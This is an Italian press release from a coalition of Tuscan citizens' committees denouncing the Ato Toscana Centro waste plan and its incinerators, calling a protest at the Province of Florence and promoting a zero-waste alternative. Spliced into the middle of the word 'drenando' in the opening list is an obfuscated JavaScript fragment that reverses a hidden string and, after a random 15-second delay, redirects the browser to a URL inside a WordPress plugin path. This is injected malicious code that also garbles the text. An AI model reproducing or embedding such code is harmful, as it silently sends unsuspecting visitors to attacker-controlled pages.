Inviperiti con gli amministratori toscani. Il Piano rifiuti Ato centro va bloccato lunedì in Provincia

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Coordinamento comitati Ato Toscana Centro

COMUNICATO STAMPA

Inviperiti con gli amministratori toscani. Il Piano rifiuti Ato centro va bloccato. Lunedì alle 15 presidio sotto la Provincia di Firenze

La decisione delle Amministrazioni provinciali di Firenze, Prato e Pistoia di approvare lunedì 17 dicembre 2012 il Piano Interprovinciale di gestione dei rifiuti dell’ ATO Toscana Centro ( cui seguirà a breve analoga decisione per l’ Ato Costa e l’ Ato Sud ), porta a compimento in modo indecente e allo stesso tempo ridicolo la parabola del pensiero e dell’ agire politico del centro-sinistra toscano
– incapace di assicurare la salute degli abitanti attraverso la prevenzione primaria, – inadeguato a promuovere economie della riduzione, del riutilizzo e del riciclaggio (come impongono le normative comunitarie e nazionali ), economie che aumentano l’occupazione e la ricchezza collettiva,
– agganciato come una screpolata cariatide alle lobbies industriali perdenti dello spreco e di una impiantistica arretrata dal punto di vista tecnico e onerosa da quello finanziario che aumenta il debito pubblico, dren (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando sempre più soldi dalle nostre tasche.

Il Piano Interprovinciale ATO Centro – organizzato attorno all’ incenerimento, alla costruzione di nuovi inceneritori e nuove discariche, e basato su un sistema integrato allo spreco di materia – continua a imporre nocività agli abitanti, a produrre malattie e morti, a impoverire la popolazione, le imprese e quindi la complessiva geografia sociale del territorio della Toscana centrale. Dopo tanti anni di lotte, di confronti, di proposte elaborate da comitati e associazioni, qui nella Toscana centrale, non siamo riusciti a capire se ci troviamo di fronte a un personale politico e imprenditoriale incompetente e inadeguato, o subalterno al mercato e alle politiche di privatizzazione dei beni pubblici, o chiuso alle novità delle buone pratiche sociali e di amministrazioni e municipalizzate sempre più numerose, o a tutte queste cose messe insieme.

Tuttavia il NO che giustamente continuiamo a gridare in faccia a questo modo di gestire la cosa pubblica e nello specifico i materiali post consumo, a queste crescenti nocività sociali e sanitarie, non è la parte più interessante, per quanto sacrosanta, del nostro agire.

E’ vero: siamo assolutamente inviperiti nei confronti di amministratori che hanno continuato a essere sordi alle nostre proposte e alle nostre pertinenti osservazioni al Piano Interprovinciale Ato Toscana Centro, così come ad ALTERPIANO, il nostro piano alternativo basato sul rispetto delle norme comunitarie e nazionali fondate sul recupero della materia quale azione prioritaria e sulla residualità della combustione.

ABITIAMO però l’ ottimismo delle idee giuste e delle pratiche virtuosee socialmente fondate e quindi RIVOLGIAMO ALLE POPOLAZIONI CHE VIVONO NELL’ ATO CENTRO E A TUTTA LA SOCIETA’ TOSCANA L’APPELLO PER UNA ASSUNZIONE COLLETTIVA DI RESPONSABILITA’, PER PARTECIPARE REALMENTE E QUOTIDIANAMENTE IN TUTTE LE FRAZIONI, I PAESI, LE CITTA’, ASSUMENDO ALTERPIANO E LA PROPOSTA DI TRASFORMARE L’ATO IN UN DISTRETTO ECONOMICO-SOCIALE DEL RIUTILIZZO/RICICLAGGIO E DELLA RIPROGETTAZIONE DEGLI OGGETTI E DEI BENI NON RICICLABILI.

UN PERCORSO CHE RISPONDE ALLA CRISI CON IL RISPARMIO DI MATERIA-ENERGIA, CON LA MOBILITAZIONE DEL LAVORO COGNITIVO E CREATIVO NELLA RIPROGETTAZIONE, CON L’ALLARGAMENTO DELL’OCCUPAZIONE IN LAVORI PULITI, PER UNA TOSCANA CENTRALE CHE SI INCAMMINI CON PASSO SPEDITO VERSO ECONOMIE DI GESTIONE COMUNE DEI BENI FONDAMENTALI – COME I MATERIALI IN “VIA DI ESTINZIONE”, AD ESEMPIO -, PER UNA NUOVA STAGIONE DI RICCHEZZA SOCIALE E CULTURALE DISTRIBUITA EQUAMENTE E BASATA SULLA STRATEGIA RIFIUTI ZERO, CON ESTESE PRATICHE DI RITULIZZO E DI RICICLAGGIO, CON LA CHIUSURA DEL CERCHIO TRA COMPOSTAGGIO E AGRICOLTURA BIOLOGICA DI PROSSIMITA’ PER PRODURRE CIBO E NUOVO TERRITORIO, ANCHE BONIFICANDO E RIMETTENDO A COLTURA LA PIANURA TRA FIRENZE E PISTOIA, CHE POTREBBE TORNARE AD ESSERE IL CUORE AGROURBANO DELLA TOSCANA CENTRALE.

COSTRUIAMO INSIEME LA NOSTRA RISPOSTA ALLA CRISI
RIPRENDIAMO IN MANO IL NOSTRO FUTURO DICENDO STOP AL SUO INCENERIMENTO

Coordinamento comitati Ato Toscana Centro

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